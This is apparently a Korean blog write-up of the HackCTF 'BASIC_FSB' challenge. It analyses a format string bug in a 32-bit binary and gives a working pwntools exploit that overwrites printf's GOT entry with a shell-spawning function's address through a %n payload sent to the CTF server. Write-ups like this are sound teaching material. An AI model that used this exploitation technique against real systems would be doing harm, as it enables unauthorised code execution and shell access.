[HackCTF] BASIC_FSB
System/PWNABLE

[HackCTF] BASIC_FSB

728x90

check

- 32bit

- 딱히 보호기법이 적용되어 있지는 않다.

Analyze

pseudo code

main
vuln

- fgets 함수를 통해 문자열 s에 표준입력으로 1024byte만큼 입력받고, s에 저장된 값을 0x400byte만큼 format에 저장한다. 그리고 printf에 format을 통째로 집어넣으면서 FSB가 발생한다.

- format의 주소를 찾아야겠다!

system("/bin/sh")를 리턴하는 flag 함수: 0x80485b4

- format에서 발생하는 FSB를 이용해 printf의 got 주소를 flag의 주소로 덮는다.

- flag 함수의 주소는 0x80485b4 = 134514100

실행

입력한 데이터가 첫번째 포맷스트링x부터 차례로 쓰여지는 것을 확인할 수 있다.

Exploit

printf@got 주소 4byte의 영향을 받기 때문에 flag 함수의 주소에서 4byte를 뺀 값을 전달해야 제대로 flag 함수로 overwrite할 수 있게된다.

from pwn import *
#p = process("./basic_fsb")
p = remote("ctf.j0n9hyun.xyz", 3002)

elf = ELF("./basic_fsb")
#printf_got = elf.got['printf']
printf_got = 0x804a00c

pl = p32(printf_got)
pl += "%134514096c%n"

p.recvuntil("input : ")
p.sendline(pl)
p.interactive()

! 성공 !

+) %1$n 으로하면 EOF를 만난다고 하며 플래그를 구할 수 없었다

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] Yes or No  (0) 2021.02.11
[HackCTF] BOF_PIE  (0) 2021.02.10
[HackCTF] Simple_Overflow_ver_2  (0) 2021.02.09
[HackCTF] x64 Simple_size_BOF  (0) 2021.02.09
[HackCTF] x64 Buffer Overflow  (2) 2021.02.05